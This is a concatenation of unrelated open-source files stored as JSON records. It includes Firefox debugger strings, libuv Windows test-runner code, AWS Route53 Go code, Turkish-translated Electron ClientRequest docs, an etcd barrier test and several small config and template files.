first.\nresumptionOrderPanelTitle=There are one or more paused debuggers. Please resume the most-recently paused debugger first at: %S\n\nvariablesViewOptimizedOut=(optimized away)\nvariablesViewUninitialized=(uninitialized)\nvariablesViewMissingArgs=(unavailable)\n\nanonymousSourcesLabel=Anonymous Sources\n\nexperimental=This is an experimental feature\n\n# LOCALIZATION NOTE (whyPaused.debuggerStatement): The text that is displayed\n# in a info block explaining how the debugger is currently paused due to a `debugger`\n# statement in the code\nwhyPaused.debuggerStatement=Paused on debugger statement\n\n# LOCALIZATION NOTE (whyPaused.breakpoint): The text that is displayed\n# in a info block explaining how the debugger is currently paused on a breakpoint\nwhyPaused.breakpoint=Paused on breakpoint\n\n# LOCALIZATION NOTE (whyPaused.exception): The text that is displayed\n# in a info block explaining how the debugger is currently paused on an exception\nwhyPaused.exception=Paused on exception\n\n# LOCALIZATION NOTE (whyPaused.resumeLimit): The text that is displayed\n# in a info block explaining how the debugger is currently paused while stepping\n# in or out of the stack\nwhyPaused.resumeLimit=Paused while stepping\n\n# LOCALIZATION NOTE (whyPaused.pauseOnDOMEvents): The text that is displayed\n# in a info block explaining how the debugger is currently paused on a\n# dom event\nwhyPaused.pauseOnDOMEvents=Paused on event listener\n\n# LOCALIZATION NOTE (whyPaused.breakpointConditionThrown): The text that is displayed\n# in an info block when evaluating a conditional breakpoint throws an error\nwhyPaused.breakpointConditionThrown=Error with conditional breakpoint\n\n# LOCALIZATION NOTE (whyPaused.xhr): The text that is displayed\n# in a info block explaining how the debugger is currently paused on an\n# xml http request\nwhyPaused.xhr=Paused on XMLHttpRequest\n\n# LOCALIZATION NOTE (whyPaused.promiseRejection): The text that is displayed\n# in a info block explaining how the debugger is currently paused on a\n# promise rejection\nwhyPaused.promiseRejection=Paused on promise rejection\n\n# LOCALIZATION NOTE (whyPaused.assert): The text that is displayed\n# in a info block explaining how the debugger is currently paused on an\n# assert\nwhyPaused.assert=Paused on assertion\n\n# LOCALIZATION NOTE (whyPaused.debugCommand): The text that is displayed\n# in a info block explaining how the debugger is currently paused on a\n# debugger statement\nwhyPaused.debugCommand=Paused on debugged function\n\n# LOCALIZATION NOTE (whyPaused.other): The text that is displayed\n# in a info block explaining how the debugger is currently paused on an event\n# listener breakpoint set\nwhyPaused.other=Debugger paused\n"} {"text": ".cellTableCell {\n\tbackground-color: white;\n\ttext-align: left;\n}\n\n.cellTableOddRowCell,.cellTableEvenRowCell {\n\tbackground-color: white;\n\tborder: 0px;\n}\n\n.cellTableSelectedRow,.cellTableSelectedRowCell,.cellTableKeyboardSelectedRowCell {\n\tbackground-color: #C3D0E0;\n}\n\n.cellTableHoveredRow .cellTableHoveredRowCell {\n\tbackground-color: #F0F0F0;\n}"} {"text": "/* Copyright Joyent, Inc. and other Node contributors. All rights reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n */\n\n#include <fcntl.h>\n#include <io.h>\n#include <malloc.h>\n#include <stdio.h>\n#include <process.h>\n#if !defined(__MINGW32__)\n# include <crtdbg.h>\n#endif\n\n\n#include \"task.h\"\n#include \"runner.h\"\n\n\n/*\n * Define the stuff that MinGW doesn't have\n */\n#ifndef GetFileSizeEx\n WINBASEAPI BOOL WINAPI GetFileSizeEx(HANDLE hFile,\n PLARGE_INTEGER lpFileSize);\n#endif\n\n\n/* Do platform-specific initialization. */\nvoid platform_init(int argc, char **argv) {\n const char* tap;\n\n tap = getenv(\"UV_TAP_OUTPUT\");\n tap_output = (tap != NULL && atoi(tap) > 0);\n\n /* Disable the \"application crashed\" popup. */\n SetErrorMode(SEM_FAILCRITICALERRORS | SEM_NOGPFAULTERRORBOX |\n SEM_NOOPENFILEERRORBOX);\n#if !defined(__MINGW32__)\n _CrtSetReportMode(_CRT_ASSERT, _CRTDBG_MODE_DEBUG);\n _CrtSetReportMode(_CRT_ERROR, _CRTDBG_MODE_DEBUG);\n#endif\n\n _setmode(0, _O_BINARY);\n _setmode(1, _O_BINARY);\n _setmode(2, _O_BINARY);\n\n /* Disable stdio output buffering. */\n setvbuf(stdout, NULL, _IONBF, 0);\n setvbuf(stderr, NULL, _IONBF, 0);\n\n strcpy(executable_path, argv[0]);\n}\n\n\nint process_start(char *name, char *part, process_info_t *p, int is_helper) {\n HANDLE file = INVALID_HANDLE_VALUE;\n HANDLE nul = INVALID_HANDLE_VALUE;\n WCHAR path[MAX_PATH], filename[MAX_PATH];\n WCHAR image[MAX_PATH + 1];\n WCHAR args[MAX_PATH * 2];\n STARTUPINFOW si;\n PROCESS_INFORMATION pi;\n DWORD result;\n\n if (GetTempPathW(sizeof(path) / sizeof(WCHAR), (WCHAR*)&path) == 0)\n goto error;\n if (GetTempFileNameW((WCHAR*)&path, L\"uv\", 0, (WCHAR*)&filename) == 0)\n goto error;\n\n file = CreateFileW((WCHAR*)filename,\n GENERIC_READ | GENERIC_WRITE,\n 0,\n NULL,\n CREATE_ALWAYS,\n FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE,\n NULL);\n if (file == INVALID_HANDLE_VALUE)\n goto error;\n\n if (!SetHandleInformation(file, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT))\n goto error;\n\n nul = CreateFileA(\"nul\",\n GENERIC_READ,\n FILE_SHARE_READ | FILE_SHARE_WRITE,\n NULL,\n OPEN_EXISTING,\n FILE_ATTRIBUTE_NORMAL,\n NULL);\n if (nul == INVALID_HANDLE_VALUE)\n goto error;\n\n if (!SetHandleInformation(nul, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT))\n goto error;\n\n result = GetModuleFileNameW(NULL, (WCHAR*)&image, sizeof(image) / sizeof(WCHAR));\n if (result == 0 || result == sizeof(image))\n goto error;\n\n if (part) {\n if (_snwprintf((WCHAR*)args,\n sizeof(args) / sizeof(WCHAR),\n L\"\\\"%s\\\" %S %S\",\n image,\n name,\n part) < 0) {\n goto error;\n }\n } else {\n if (_snwprintf((WCHAR*)args,\n sizeof(args) / sizeof(WCHAR),\n L\"\\\"%s\\\" %S\",\n image,\n name) < 0) {\n goto error;\n }\n }\n\n memset((void*)&si, 0, sizeof(si));\n si.cb = sizeof(si);\n si.dwFlags = STARTF_USESTDHANDLES;\n si.hStdInput = nul;\n si.hStdOutput = file;\n si.hStdError = file;\n\n if (!CreateProcessW(image, args, NULL, NULL, TRUE,\n 0, NULL, NULL, &si, &pi))\n goto error;\n\n CloseHandle(pi.hThread);\n\n SetHandleInformation(nul, HANDLE_FLAG_INHERIT, 0);\n SetHandleInformation(file, HANDLE_FLAG_INHERIT, 0);\n\n p->stdio_in = nul;\n p->stdio_out = file;\n p->process = pi.hProcess;\n p->name = part;\n\n return 0;\n\nerror:\n if (file != INVALID_HANDLE_VALUE)\n CloseHandle(file);\n if (nul != INVALID_HANDLE_VALUE)\n CloseHandle(nul);\n\n return -1;\n}\n\n\n/* Timeout is is msecs. Set timeout < 0 to never time out. */\n/* Returns 0 when all processes are terminated, -2 on timeout. */\nint process_wait(process_info_t *vec, int n, int timeout) {\n int i;\n HANDLE handles[MAXIMUM_WAIT_OBJECTS];\n DWORD timeout_api, result;\n\n /* If there's nothing to wait for, return immediately. */\n if (n == 0)\n return 0;\n\n ASSERT(n <= MAXIMUM_WAIT_OBJECTS);\n\n for (i = 0; i < n; i++)\n handles[i] = vec[i].process;\n\n if (timeout >= 0) {\n timeout_api = (DWORD)timeout;\n } else {\n timeout_api = INFINITE;\n }\n\n result = WaitForMultipleObjects(n, handles, TRUE, timeout_api);\n\n if (result >= WAIT_OBJECT_0 && result < WAIT_OBJECT_0 + n) {\n /* All processes are terminated. */\n return 0;\n }\n if (result == WAIT_TIMEOUT) {\n return -2;\n }\n return -1;\n}\n\n\nlong int process_output_size(process_info_t *p) {\n LARGE_INTEGER size;\n if (!GetFileSizeEx(p->stdio_out, &size))\n return -1;\n return (long int)size.QuadPart;\n}\n\n\nint process_copy_output(process_info_t *p, int fd) {\n DWORD read;\n char buf[1024];\n char *line, *start;\n\n if (SetFilePointer(p->stdio_out, 0, 0, FILE_BEGIN) == INVALID_SET_FILE_POINTER)\n return -1;\n\n if (tap_output)\n write(fd, \"#\", 1);\n\n while (ReadFile(p->stdio_out, (void*)&buf, sizeof(buf), &read, NULL) &&\n read > 0) {\n if (tap_output) {\n start = buf;\n\n while ((line = strchr(start, '\\n')) != NULL) {\n write(fd, start, line - start + 1);\n write(fd, \"#\", 1);\n start = line + 1;\n }\n\n if (start < buf + read)\n write(fd, start, buf + read - start);\n } else {\n write(fd, buf, read);\n }\n }\n\n if (tap_output)\n write(fd, \"\\n\", 1);\n\n if (GetLastError() != ERROR_HANDLE_EOF)\n return -1;\n\n return 0;\n}\n\n\nint process_read_last_line(process_info_t *p,\n char * buffer,\n size_t buffer_len) {\n DWORD size;\n DWORD read;\n DWORD start;\n OVERLAPPED overlapped;\n\n ASSERT(buffer_len > 0);\n\n size = GetFileSize(p->stdio_out, NULL);\n if (size == INVALID_FILE_SIZE)\n return -1;\n\n if (size == 0) {\n buffer[0] = '\\0';\n return 1;\n }\n\n memset(&overlapped, 0, sizeof overlapped);\n if (size >= buffer_len)\n overlapped.Offset = size - buffer_len - 1;\n\n if (!ReadFile(p->stdio_out, buffer, buffer_len - 1, &read, &overlapped))\n return -1;\n\n for (start = read - 1; start >= 0; start--) {\n if (buffer[start] == '\\n' || buffer[start] == '\\r')\n break;\n }\n\n if (start > 0)\n memmove(buffer, buffer + start, read - start);\n\n buffer[read - start] = '\\0';\n\n return 0;\n}\n\n\nchar* process_get_name(process_info_t *p) {\n return p->name;\n}\n\n\nint process_terminate(process_info_t *p) {\n if (!TerminateProcess(p->process, 1))\n return -1;\n return 0;\n}\n\n\nint process_reap(process_info_t *p) {\n DWORD exitCode;\n if (!GetExitCodeProcess(p->process, &exitCode))\n return -1;\n return (int)exitCode;\n}\n\n\nvoid process_cleanup(process_info_t *p) {\n CloseHandle(p->process);\n CloseHandle(p->stdio_in);\n CloseHandle(p->stdio_out);\n}\n\n\nstatic int clear_line() {\n HANDLE handle;\n CONSOLE_SCREEN_BUFFER_INFO info;\n COORD coord;\n DWORD written;\n\n handle = (HANDLE)_get_osfhandle(fileno(stderr));\n if (handle == INVALID_HANDLE_VALUE)\n return -1;\n\n if (!GetConsoleScreenBufferInfo(handle, &info))\n return -1;\n\n coord = info.dwCursorPosition;\n if (coord.Y <= 0)\n return -1;\n\n coord.X = 0;\n\n if (!SetConsoleCursorPosition(handle, coord))\n return -1;\n\n if (!FillConsoleOutputCharacterW(handle, 0x20, info.dwSize.X, coord, &written))\n return -1;\n\n return 0;\n}\n\n\nvoid rewind_cursor() {\n if (clear_line() == -1) {\n /* If clear_line fails (stdout is not a console), print a newline. */\n fprintf(stderr, \"\\n\");\n }\n}\n\n\n/* Pause the calling thread for a number of milliseconds. */\nvoid uv_sleep(int msec) {\n Sleep(msec);\n}\n"} {"text": "@require 5\nclass 3\n\n@require 5\nclass 4\n"} {"text": "package route53\n\nimport (\n\t\"net/url\"\n\t\"regexp\"\n\n\t\"github.com/aws/aws-sdk-go/aws/awserr\"\n\t\"github.com/aws/aws-sdk-go/aws/client\"\n\t\"github.com/aws/aws-sdk-go/aws/request\"\n\t\"github.com/aws/aws-sdk-go/private/protocol/restxml\"\n)\n\nfunc init() {\n\tinitClient = func(c *client.Client) {\n\t\tc.Handlers.Build.PushBack(sanitizeURL)\n\t}\n\n\tinitRequest = func(r *request.Request) {\n\t\tswitch r.Operation.Name {\n\t\tcase opChangeResourceRecordSets:\n\t\t\tr.Handlers.UnmarshalError.Remove(restxml.UnmarshalErrorHandler)\n\t\t\tr.Handlers.UnmarshalError.PushBack(unmarshalChangeResourceRecordSetsError)\n\t\t}\n\t}\n}\n\nvar reSanitizeURL = regexp.MustCompile(`\\/%2F\\w+%2F`)\n\nfunc sanitizeURL(r *request.Request) {\n\tr.HTTPRequest.URL.RawPath =\n\t\treSanitizeURL.ReplaceAllString(r.HTTPRequest.URL.RawPath, \"/\")\n\n\t// Update Path so that it reflects the cleaned RawPath\n\tupdated, err := url.Parse(r.HTTPRequest.URL.RawPath)\n\tif err != nil {\n\t\tr.Error = awserr.New(\"SerializationError\", \"failed to clean Route53 URL\", err)\n\t\treturn\n\t}\n\n\t// Take the updated path so the requests's URL Path has parity with RawPath.\n\tr.HTTPRequest.URL.Path = updated.Path\n}\n"} {"text": "## Sınıf: Webİsteği\n\n> HTTP/HTTPS isteklerini yap.\n\nSüreç: [Ana](../glossary.md#main-process)\n\n`ClientRequest` [Writable Stream](https://nodejs.org/api/stream.html#stream_writable_streams) interface'ini implement eder, bu yüzden de o bir [EventEmitter][event-emitter]'dır.\n\n### `new ClientRequest(options)`\n\n* `options` (Object | String) - If `options` is a String, it is interpreted as the request URL. If it is an object, it is expected to fully specify an HTTP request via the following properties:\n * `method` String (optional) - The HTTP request method. Defaults to the GET method.\n * `url` String (optional) - The request URL. Must be provided in the absolute form with the protocol scheme specified as http or https.\n * `session` Session (optional) - The [`Session`](session.md) instance with which the request is associated.\n * `partition` String (isteğe bağlı) - İlişkili olduğu istek ile [`partition`](session.md)'nın ismi. Varsayılan boş string. `session` seçeneği `partition`'da hakimdir. Böylelikle `session` açıkça belirtilmedikçe, `partition` yoksayılır.\n * `useSessionCookies` Boolean (optional) - Whether to send cookies with this request from the provided session. This will make the `net` request's cookie behavior match a `fetch` request. Varsayılanı `false`.\n * `protocol` String (optional) - The protocol scheme in the form 'scheme:'. Currently supported values are 'http:' or 'https:'. Defaults to 'http:'.\n * `host` String (optional) - The server host provided as a concatenation of the hostname and the port number 'hostname:port'.\n * `hostname` String (isteğe bağlı) - Sunucu ana bilgisayar adı.\n * `port` Integer (isteğe bağlı) - Sunucunun dinlenen port numarası.\n * `path` String (isteğe bağlı) - İstek URL'sinin yolu.\n * `redirect` String (isteğe bağlı) - Bu istek için yönlendirme modu. `follow`, `error` veya `manual`'den birisi olmalıdır. `follow`'a varsayılan olarak belirler. Mod `error` olduğunda bütün yönlendirmeler iptal edilecektir. When mode is `manual` the redirection will be cancelled unless [`request.followRedirect`](#requestfollowredirect) is invoked synchronously during the [`redirect`](#event-redirect) event.\n\n`protocol`, `host`, `hostname`, `port` ve `path` gibi `options` özellikleri, [URL](https://nodejs.org/api/url.html) modülünde açıklandığı gibi Node.js modeline kesinlikle uyar.\n\nÖrneğin, 'github.com' için aşağıdaki gibi aynı isteği oluşturabiliriz:\n\n```JavaScript\nconst request = net.request({\n method: 'GET',\n protocol: 'https:',\n hostname: 'github.com',\n port: 443,\n path: '/'\n})\n```\n\n### Örnek Events\n\n#### Etkinlik: 'tepki'\n\nDönüşler:\n\n* `response` IncomingMessage - HTTP yanıt mesajını temsil eden bir nesne.\n\n#### Etkinlik: 'giriş'\n\nDönüşler:\n\n* `authInfo` Object\n * `isProxy` Boolean\n * `scheme` Dizi\n * `host` Dizi\n * `port` Tamsayı\n * `realm` Dizi\n* `callback` Fonksiyon\n * `username` String (optional)\n * `password` String (optional)\n\nKimlik doğrulaması yapan bir proxy, kullanıcı bilgilerini istendiğinde yayınlar.\n\n`callback` fonksiyonunun kullanıcı bilgileri ile geri çağırılması bekleniyor:\n\n* `username` Dizi\n* `password` Dizi\n\n```JavaScript\nrequest.on('login', (authInfo, callback) => {\n callback('username', 'password')\n})\n```\nBoş kimlik bilgileri sağlanması isteği iptal eder ve yanıt nesnesinde bir kimlik doğrulama hatası rapor eder:\n\n```JavaScript\nrequest.on('response', (response) => {\n console.log(`STATUS: ${response.statusCode}`);\n response.on('error', (error) => {\n console.log(`ERROR: ${JSON.stringify(error)}`)\n })\n})\nrequest.on('login', (authInfo, callback) => {\n callback()\n})\n```\n\n#### Etkinlik: 'bitiş'\n\n`request`'in verisinin son parçası `request` nesnesine yazıldıktan hemen sonra yayılır.\n\n#### Etkinlik: 'iptal etmek'\n\nEmitted when the `request` is aborted. The `abort` event will not be fired if the `request` is already closed.\n\n#### Event: 'error'\n\nDönüşler:\n\n* `error` Hata - sorun hakkında bazı bilgileri sağlayan hata nesnesi.\n\n`net` modulü bir ağ isteği göndermediği zaman yayılır. Tipik olarak `request` nesnesi `error` olayını yaydığı zaman `close` olayı daha sonra takip edecek ve cevap nesnesi sağlanmayacaktır.\n\n#### Etkinlik: 'kapalı'\n\nHTTP istek-cevap hareketindeki son olay olarak yayınlanır. `close` olayı, `request` ve `response` nesneleri üzerinde daha fazla olay yayınlanmayacağını belirtir.\n\n\n#### Etkinlik: 'yönlendirme'\n\nDönüşler:\n\n* `statusCode` Integer\n* `method` Dizi\n* `redirectUrl` String\n* `responseHeaders` Record<String, String[]>\n\nEmitted when the server returns a redirect response (e.g. 301 Moved Permanently). Calling [`request.followRedirect`](#requestfollowredirect) will continue with the redirection. If this event is handled, [`request.followRedirect`](#requestfollowredirect) must be called **synchronously**, otherwise the request will be cancelled.\n\n### Örnek özellikleri\n\n#### `request.chunkedEncoding`\n\nBir `Boolean` isteğin HTTP yığınlı aktarım kodlamasını kullanıp kullanmayacağını belirtir. Varsayılan değer false. Telefon üzerinde mülkiyet okunabilir ve yazılabilir, ancak HTTP başlıkları henüz koyulmadığından bu işlem yalnızca yazmadan önce ayarlanabilir. İlk yazma bir hata oluşturduktan sonra `chunkedEncoding` özelliğini ayarlamaya çalışır.\n\nEğer büyük bir istek parçası göndermeniz gerekiyorsa veri, Electron işlem belleği içerisinde dahili olarak ara belleğe yazdırmak yerine küçük yığınlar içinde akar bu yüzden parçalanmış kodlamanın şiddetle kullanılması önerilir.\n\n### Örnek yöntemleri\n\n#### `request.setHeader(name, value)`\n\n* `name` String - İlave HTTP başlık adı.\n* `value` String - An extra HTTP header value.\n\nİlave bir HTTP başlığı ekler. The header name will be issued as-is without lowercasing. Sadece ilk yazmadan önce çağrılabilir. Bu yöntemi ilk yazmadan sonra aramak hata atacaktır. Verilen değer `String` değil ise, `toString()` metoduyla son değer elde edilir.\n\nCertain headers are restricted from being set by apps. These headers are listed below. More information on restricted headers can be found in [Chromium's header utils](https://source.chromium.org/chromium/chromium/src/+/master:services/network/public/cpp/header_util.cc;drc=1562cab3f1eda927938f8f4a5a91991fefde66d3;bpv=1;bpt=1;l=22).\n\n* `Content-Length`\n* `Host`\n* `Trailer` or `Te`\n* `Upgrade`\n* `Cookie2`\n* `Keep-Alive`\n* `Transfer-Encoding`\n\nAdditionally, setting the `Connection` header to the value `upgrade` is also disallowed.\n\n#### `request.getHeader(name)`\n\n* `name` Dize - İlave bir başlık adı belirtin.\n\nReturns `String` - The value of a previously set extra header name.\n\n#### `request.removeHeader(name)`\n\n* `name` Dize - İlave bir başlık adı belirtin.\n\nRemoves a previously set extra header name. This method can be called only before first write. Trying to call it after the first write will throw an error.\n\n#### `request.write(chunk[, encoding][, callback])`\n\n* `chunk` (String | Buffer) - A chunk of the request body's data. If it is a string, it is converted into a Buffer using the specified encoding.\n* `encoding` String (optional) - Used to convert string chunks into Buffer objects. Defaults to 'utf-8'.\n* `callback` Fonksiyon (opsiyonel) - Yazma işlemi bittikten sonra çağırılır.\n\n`callback` aslında Node.js API ile benzerliğin korunması amacıyla sahte fonksiyon olarak tanıtılır. `chunk` içeriği Chromium ağ katmanına teslim edildikten sonra bir sonraki onay işareti içerisinde asenkron olarak çağırılır. Node.js uygulamasının aksine `callback` çağırılmadan önce `chunk` içeriğinin hat üzerinde hızla akacağının garantisi yoktur.\n\nİstek gövdesine verinin bir parçasını ekler. İlk yazma işlemi talebin üstbilgilerinin kablosunda yayınlanmasına neden olabilmektedir. İlk yazma işlemi sonrasında kişisel bir başlık eklemeye veya kaldırmaya izin verilmez.\n\n#### `request.end([chunk][, encoding][, callback])`\n\n* `chunk` (String | Buffer) (isteğe bağlı)\n* `encoding` String (isteğe bağlı)\n* `callback` Fonksiyonu (opsiyonel)\n\nSends the last chunk of the request data. Subsequent write or end operations will not be allowed. The `finish` event is emitted just after the end operation.\n\n#### `request.abort()`\n\nDevam eden bir HTTP işlemini iptal eder. Eğer istek `close` olayını önceden yayınlamışsa zorunlu sonlandırma operasyonunun hiçbir etkisi olmayacaktır. Aksi durumda devam eden olay, `abort` ve `close` olaylarını yayar. Buna ek olarak, eğer hali hazırda bir cevap nesnesi varsa, o da `aborted` olayını yayar.\n\n#### `request.followRedirect()`\n\nContinues any pending redirection. Can only be called during a `'redirect'` event.\n\n#### `request.getUploadProgress()`\n\n`Object` 'i geri getirir:\n\n* `active` Boolean - Whether the request is currently active. If this is false no other properties will be set\n* `started` Boolean - Whether the upload has started. If this is false both `current` and `total` will be set to 0.\n* `current` Integer - The number of bytes that have been uploaded so far\n* `total` Integer - The number of bytes that will be uploaded this request\n\nYou can use this method in conjunction with `POST` requests to get the progress of a file upload or other data transfer.\n\n[event-emitter]: https://nodejs.org/api/events.html#events_class_eventemitter\n"} {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n\t<key>narrow-bold</key>\n\t<string>narrow-bold.glif</string>\n\t<key>narrow-thin</key>\n\t<string>narrow-thin.glif</string>\n\t<key>wide-bold</key>\n\t<string>wide-bold.glif</string>\n\t<key>wide-thin</key>\n\t<string>wide-thin.glif</string>\n</dict>\n</plist>\n"} {"text": "fileFormatVersion: 2\nguid: 36b2c261e3906964984802ca61e07a4a\nMonoImporter:\n serializedVersion: 2\n defaultReferences: []\n executionOrder: 0\n icon: {instanceID: 0}\n userData: \n"} {"text": "<div local-class=\"remove\" onclick={{action 'removeSelf'}}>+</div>\n\n<div local-class=\"icon\"></div>\n\n<div local-class=\"content\">\n <div local-class=\"title\">Pro Tip</div>\n\n <div local-class=\"content\">\n {{#if isTemplate}}\n {{canvas-block-tip-content\n block=block\n changeBlockType=changeBlockType\n editingEnabled=editingEnabled\n isEditingPlaceholder=(mut isEditingPlaceholder)\n isFocused=isFocused\n isMultiBlock=isMultiBlock\n isTemplate=isTemplate\n onBlockDeletedLocally=onBlockDeletedLocally\n onBlockReplacedLocally=onBlockReplacedLocally\n onBlurBlock=onBlurBlock\n onDoubleSelectAll=onDoubleSelectAll\n onDoubleSelectToEnd=onDoubleSelectToEnd\n onDoubleSelectToStart=onDoubleSelectToStart\n onFocusBlock=onFocusBlock\n onRedo=onRedo\n onUndo=onUndo\n onMultiBlockSelectUp=onMultiBlockSelectUp\n onMultiBlockSelectDown=onMultiBlockSelectDown\n onNavigateDown=onNavigateDown\n onNavigateLeft=onNavigateLeft\n onNavigateRight=onNavigateRight\n onNavigateUp=onNavigateUp\n onSwapBlockUp=onSwapBlockUp\n onSwapBlockDown=onSwapBlockDown\n onBlockContentUpdatedLocally=onBlockContentUpdatedLocally\n onBlockTypeUpdatedLocally=onBlockTypeUpdatedLocally\n onNewBlockInsertedLocally=onNewBlockInsertedLocally}}\n {{else}}\n {{block.content}}\n {{/if}}\n </div>\n</div>\n"} {"text": "<!DOCTYPE refentry [ <!ENTITY % mathent SYSTEM \"math.ent\"> %mathent; ]>\n\n<!-- Converted by db4-upgrade version 1.1 -->\n\n<refentry xmlns=\"http://docbook.org/ns/docbook\" version=\"5.0\" xml:id=\"sign\">\n <info>\n <copyright>\n <year>2011-2014</year>\n <holder>Khronos Group</holder>\n </copyright>\n </info>\n <refmeta>\n <refentrytitle>sign</refentrytitle>\n <manvolnum>3G</manvolnum>\n </refmeta>\n <refnamediv>\n <refname>sign</refname>\n <refpurpose>extract the sign of the parameter</refpurpose>\n </refnamediv>\n <refsynopsisdiv>\n <title>Declaration</title>\n <funcsynopsis>\n <funcprototype>\n <funcdef>genType <function>sign</function></funcdef>\n <paramdef>genType <parameter>x</parameter></paramdef>\n </funcprototype>\n </funcsynopsis>\n <funcsynopsis>\n <funcprototype>\n <funcdef>genIType <function>sign</function></funcdef>\n <paramdef>genIType <parameter>x</parameter></paramdef>\n </funcprototype>\n </funcsynopsis>\n </refsynopsisdiv>\n <refsect1 xml:id=\"parameters\"><title>Parameters</title>\n <variablelist>\n <varlistentry>\n <term><parameter>x</parameter></term>\n <listitem>\n <para>\n Specify the value from which to extract the sign.\n </para>\n </listitem>\n </varlistentry>\n </variablelist>\n </refsect1>\n <refsect1 xml:id=\"description\"><title>Description</title>\n <para>\n <function>sign</function> returns -1.0 if\n <parameter>x</parameter> is less than 0.0, 0.0 if\n <parameter>x</parameter> is equal to 0.0, and +1.0 if\n <parameter>x</parameter> is greater than 0.0.\n </para>\n </refsect1>\n <refsect1 xml:id=\"versions\"><title>Version Support</title>\n <informaltable>\n <tgroup cols=\"4\" align=\"left\">\n <xi:include xmlns:xi=\"http://www.w3.org/2001/XInclude\" href=\"funchead.xml\" xpointer=\"xpointer(/*/*)\"/>\n <tbody>\n <row>\n <entry>sign (genType)</entry>\n <xi:include xmlns:xi=\"http://www.w3.org/2001/XInclude\" href=\"version.xml\" xpointer=\"xpointer(/*/*[@role='es10']/*)\"/>\n </row>\n <row>\n <entry>sign (genIType)</entry>\n <xi:include xmlns:xi=\"http://www.w3.org/2001/XInclude\" href=\"version.xml\" xpointer=\"xpointer(/*/*[@role='es30']/*)\"/>\n </row>\n </tbody>\n </tgroup>\n </informaltable>\n </refsect1>\n <refsect1 xml:id=\"seealso\"><title>See Also</title>\n <para>\n <citerefentry><refentrytitle>abs</refentrytitle></citerefentry>\n </para>\n </refsect1>\n <refsect1 xml:id=\"Copyright\"><title>Copyright</title>\n <para>\n Copyright <trademark class=\"copyright\"/> 2011-2014 Khronos Group.\n This material may be distributed subject to the terms and conditions set forth in\n the Open Publication License, v 1.0, 8 June 1999.\n <link xmlns:xlink=\"http://www.w3.org/1999/xlink\" xlink:href=\"http://opencontent.org/openpub/\">http://opencontent.org/openpub/</link>.\n </para>\n </refsect1>\n</refentry>\n"} {"text": "// Copyright 2016 The etcd Authors\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage integration\n\nimport (\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/coreos/etcd/clientv3\"\n\t\"github.com/coreos/etcd/contrib/recipes\"\n\t\"github.com/coreos/etcd/pkg/testutil\"\n)\n\nfunc TestBarrierSingleNode(t *testing.T) {\n\tdefer testutil.AfterTest(t)\n\tclus := NewClusterV3(t, &ClusterConfig{Size: 1})\n\tdefer clus.Terminate(t)\n\ttestBarrier(t, 5, func() *clientv3.Client { return clus.clients[0] })\n}\n\nfunc TestBarrierMultiNode(t *testing.T) {\n\tdefer testutil.AfterTest(t)\n\tclus := NewClusterV3(t, &ClusterConfig{Size: 3})\n\tdefer clus.Terminate(t)\n\ttestBarrier(t, 5, func() *clientv3.Client { return clus.RandClient() })\n}\n\nfunc testBarrier(t *testing.T, waiters int, chooseClient func() *clientv3.Client) {\n\tb := recipe.NewBarrier(chooseClient(), \"test-barrier\")\n\tif err := b.Hold(); err != nil {\n\t\tt.Fatalf(\"could not hold barrier (%v)\", err)\n\t}\n\tif err := b.Hold(); err == nil {\n\t\tt.Fatalf(\"able to double-hold barrier\")\n\t}\n\n\tdonec := make(chan struct{})\n\tfor i := 0; i < waiters; i++ {\n\t\tgo func() {\n\t\t\tbr := recipe.NewBarrier(chooseClient(), \"test-barrier\")\n\t\t\tif err := br.Wait(); err != nil {\n\t\t\t\tt.Fatalf(\"could not wait on barrier (%v)\", err)\n\t\t\t}\n\t\t\tdonec <- struct{}{}\n\t\t}()\n\t}\n\n\tselect {\n\tcase <-donec:\n\t\tt.Fatalf(\"barrier did not wait\")\n\tdefault:\n\t}\n\n\tif err := b.Release(); err != nil {\n\t\tt.Fatalf(\"could not release barrier (%v)\", err)\n\t}\n\n\ttimerC := time.After(time.Duration(waiters*100) * time.Millisecond)\n\tfor i := 0; i < waiters; i++ {\n\t\tselect {\n\t\tcase <-timerC:\n\t\t\tt.Fatalf(\"barrier timed out\")\n\t\tcase <-donec:\n\t\t}\n\t}\n}\n"} {"text": "/*\n * Copyright (c) 2012 Samsung Electronics Co., Ltd.\n * http://www.samsung.com\n * Akshay Saraswat <akshay.s@samsung.com>\n *\n * EXYNOS - Thermal Management Unit\n *\n * See file CREDITS for list of people who contributed to this\n * project.\n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License version 2 as\n * published by the Free Software Foundation.\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * 